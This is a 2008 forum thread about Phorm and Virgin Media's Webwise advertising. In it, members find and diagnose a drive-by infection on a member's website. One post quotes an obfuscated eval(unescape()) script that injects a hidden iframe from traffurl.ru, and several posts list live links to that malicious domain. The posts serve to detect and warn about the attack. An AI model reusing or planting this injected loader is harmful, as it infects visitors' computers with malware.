My best moment came a few years ago when someone in BT wrongly Cc'd an email to me which wasn't TO me but ABOUT me. Since that happened, I've always seemed to be able to get a response when I want one - although of course it hasn't in any way altered the fact that the responses are the usual marketspeak rubbish.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

according to kaspersky its ... something called the agent.ij trojan

http://www.viruslist.com/en/search?V...ij&referer=kis

probably just a false alert, there are so many virus's and trojans about these days, it happens occasionally.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

*chokes on his tea* It darn well shouldn't be doing anything like that - all that's supposed to be there is a webpage, a few graphics files and the flv video files!

I'm on Linux too and the page loads up just as it should.

Will get this checked out. Anyone else getting this false positive can you PM me with more info?

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

I again use Nod32 andf it is clean

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

I'm seeing the same kaspersky error.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

I imagine it's just a false positive as some others have suggested, every virus checker suffers from it occasionally.

Its just that 'kaspersky' is a highly rated anti-virus program, and false positives are quite unusual on it, so i thought i would do the responsible thing and put out
a warning just in case.

at the end of the day, it it does (as expected) turn out to be a false alarm, atleast i know the program is working, i would rather have 100 false alarms than one trojan get through.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Support request opened. Seems the FTP and web front end aren't responding so there could be an issue there. Once the access issue is sorted the page will be reloaded onto the ftp server.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

maybe the Russians know more about the word phorm than we do lol

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

There is a strange script appended to the page source "<script redacted >eval(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74% 75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e %74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%2 0%6e%61%6d%65%3d%31%63%61%37%65%66%63%34%61%31%20% 73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%74%72%61%66 %66%75%72%6c%2e%72%75%2f%73%6c%69%76%3f%27%2b%4d%6 1%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61% 6e%64%6f%6d%28%29%2a%32%31%35%38%37%37%29%2b%27%37 %31%5c%27%20%77%69%64%74%68%3d%36%38%31%20%68%65%6 9%67%68%74%3d%33%31%37%20%73%74%79%6c%65%3d%5c%27% 64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c %2f%69%66%72%61%6d%65%3e%27%29")); </script> " (the Redacted is my comment!)

Maybe the site has suffered from a drive by server attack http://www.theregister.co.uk/2008/04..._attack_grows/

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Guys.

its looks like there is some escaped code at the bottom of the page

is the enescaped script

original code.


But it also trying to run "Microsoft Data Access - Remote Data services" control


So maybe that site is trying to load some nasties.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

My Safari Activity Window shows this link "traffurl.ru/sliv/?5776271" Googling the domain gets a 'This site may harm your computer' message. So looks like Kapersky is correct

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

With regard to the captains video site I am seeing no problems with Norton or Spybot resident. However there are two concerning frames appearing when I check it out with adblock.

http://traffurl.ru/sliv?4193771

this is one but the other ( also linked to an index.php at the russian URL ) seems to have disappeared as I've just done a system restart.

Edit. The offending article seems to be your hit counter

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

I mean we all know .ru is Russia right? I mean its not just me being paranoid....

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Kent's friends starting a counter attack on anti-Phorm sites?

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

counter attack suggests we attacked first

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

When I refreshed this (forum) page just now AVG came up with a threat alert saying virus HTML/framer detected. It couldn't "heal" the page and I could only vault it. I'm posting this from another pc.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Addblock and No Script are blocking the links to

http://traffurl.ru/sliv?19907971



Hmm, tis suspicious

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

This discussion might add some more information.

http://www.developersdex.com/asp/mes...2978&r=6157380

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

The code for the hit counter doesn't have anything to do with .ru domains - just a cgi script passing display parameters. No .ru anywhere.

The call has been updated and as soon as the response says access is available then it will be sorted.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Sorry you are correct. The reason I thought it was that because I asked adblock to flash the offending frame and it appeared around your hit counter. It would appear an invisible frame is being used to upload a trojan from the Russian server.
At least you should remove the script from the page.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

When I can get to it I will.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

traffurl.ru seems quite a familiar domain on google with lots of queries and dodgy script compaints - just google "traffurl.ru" but don't panic! I wouldn't necessarily follow all the urls given on the various forums as they include hacker sites.

I'm using Norton AV, Sunbelt Counterspy 1.5, and Flashblock- no warnings from them - but as traffurl.ru is on my mvps HOSTS file, it isn't actually getting to do anything anyway as it resolves to 127.0.0.1.
also running FF and Adblock and NoScript.

Page Source shows me an obfuscated script right at the bottom of the page, underneath the </body> and </html> tags.
script>eval(unescape(etc. etc. </script> - that corresponds to what was showing on some of the google entries.

The WHOIS I got on traffurl.ru is
domain: TRAFFURL.RU
type: CORPORATE
nserver: ns2.googleset.info.
nserver: ns1.googleset.info.
state: REGISTERED, DELEGATED
person: Private Person
phone: +7 812 1234567
e-mail: rekvizitor@gmail.com
registrar: NAUNET-REG-RIPN
created: 2007.12.20
paid-till: 2008.12.20
source: TC-RIPN
Last updated on 2008.04.29 19:57:06 MSK/MSD

Looks like your site may have been got hacked.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Yes AVG here didn't like that site either. Co-inciedently, AVG also objects to me attempting to view page 339 of this topic thread. Which leaves me unable to read any posts on it currently :(

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

that thread implyed its downloading a codec, do we know what its calling itself and were its putting it ?

if thats the case and will a simple regsvr32.exe /u codec-name then delete the file if its auto installed itself work?


http://www.developersdex.com/asp/mes...2978&r=6157380
"
Re: Strange javascript in my index.html file.
From: The Magpie
Date Posted: 2/11/2008 5:40:00 PM


Randy Webb wrote:
>
> I agree that something got whacked somewhere. But, before you can
> even answer the question, you would have to know where the "file"
> is served from. It could be on a server that has free FTP - for a
> price - and is silently inserting it.
>
Agreed, you do.
>
> As for it being a site that you are "driving visitors" to, that is
> nonsense. The iframe is hidden - display: none. Doesn't make a lot
> of sense to drive someone to your site if you hide the window it is
> going to be displayed in.
>
Correct - nothing to do with the site location.
>
> Bet you an internet beer it is a tracking site.
>
There, you lose.

Its a trojan disguised as a codec and drops quietly and happily into
your system through Media Player (unless you are one of the few
cautious types who set it to choose "Don't download codecs without
bloody asking me first!"). For the OP this means a couple of things.

1. Your PC is now infected and has been recruited into a botnet.
2. Your website is infecting other PCs every time one visits it.
3. Your PC is now being used by a - probably criminal - gang.
4. The hard one - you know about it, so you are responsible.

In essence, this means fix the website, or you could be sued. Clean
your PC, or you could be sued. Report the hacking to your hosting
provider, or you could be sued. Report it to your local or national
police, or - worst of all - you could be charged as an accessory to
the criminal activity probably now going on with your PC and with all
your website visitors. Yes, this is serious. You need to deal with it."

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Jamie,

I hope you don't mind but I just asked the badphorm admins to suspend the thread temporarily so you can sort this out without people being at risk.

Alexander Hanff

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Has this also caused problems @ badphorm ?

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

The same site is in a stickied thread over there.

Alexander Hanff

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Ahhh its the link thats causing the warning, not the quoted code inserted into these pages

My brain is frazzled today like the 100A breaker which blew this morning and took out 6 Electraks on that phase :-(

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Although not a Man City fan, and there's a tenous link to Phorm in this post, but I see that Thaksin Shinawatra is trying to rival BT,VM and Talk Talk for most stupid decision of the year by sacking Eriksson

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

lol
http://www.ispreview.co.uk/talk/show...threadid=26993
29-04-2008, 05:11 PM
https://www.cableforum.co.uk/images/local/2008/04/2.jpgBob2002 http://www.ispreview.co.uk/talk/imag...er_offline.gif
!EXTREME Member!
https://www.cableforum.co.uk/images/local/2008/04/2.gif
Join Date: Oct 2003
Posts: 2,297


http://www.ispreview.co.uk/talk/images/icons/icon1.gif
I've located the real thing - feel free to use it as you will https://www.cableforum.co.uk/images/local/2008/04/3.gif

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Perhaps poor decision making is common amongst those facing being locked up.:angel:

----

Nice one popper!

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Just a thought. Can anyone explain the difference between BT, who has already tested over 100,000 customers and going to do further tests, and VM who reputedly haven't done any tests at all, (apart from - in their words - a small lab test).
It would appear to me, that these two different approaches can't be reconciled, particularly when VM tell that all 'Due Diligence' will be completed prior to roll-out.

Colin

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

It seems pretty clear that BT, VM and 'tother lot have agreed between them that BT will carry out (and, as we know, has already carried out) testing on behalf of all three.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

the most obvious one is that the BT executives and personel involved in the Unlawful RIPA interception in 2006/7 are under direct threat of a criminal conviction at some point in the future.

were as the other two firms are as yet until evidence emerges are not, currently.

"remember RIPA conviction for UK executives case law already exists.

the lost RIPA appeal of Stanford's
http://www.lawdit.co.uk/reading_room...20Stanford.htm
"
Stanford Loses Criminal Appeal

3 February 2006

Stanford Loses Criminal Appeal

....
The Regulation of Investigatory Powers Act 2000 provides a defence to an individual who intercept a communication in the course of its transmission from a private telecommunication system, if they can establish:

a) that they are entitled to control the operation of the system; or

b) they have the express or implied consent of such a person to make the interception.

Stanford relied on the position that he had gained access to the emails through a company employee. The employee apparently was given access to usernames and passwords on the email server.

Therefore, Stanford argued, he was entitled to access the emails as “a person with a right to control the operation or the use of the system”.

Geoffrey Rivlin QC, the trial judge had a different view. He pointed out that
“right to control”
did not mean that someone had a right to access or operate the system, but that the Act required that person to of had a right to authorise or to forbid the operation. [that mean YOU users as the owner of the data]

Stanford appealed the judge’s decision. However, the Court of Appeal upheld Rivlin’s view. It pointed out that the purpose of the law was to protect privacy. Therefore Stanford’s sentence of 6 months imprisonment (suspended for two years) and a fine of £20,000 with £7000 prosecution costs
were upheld.

Daniel Doherty"

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

That'd be K*nt at traffurl.ru then would it? :D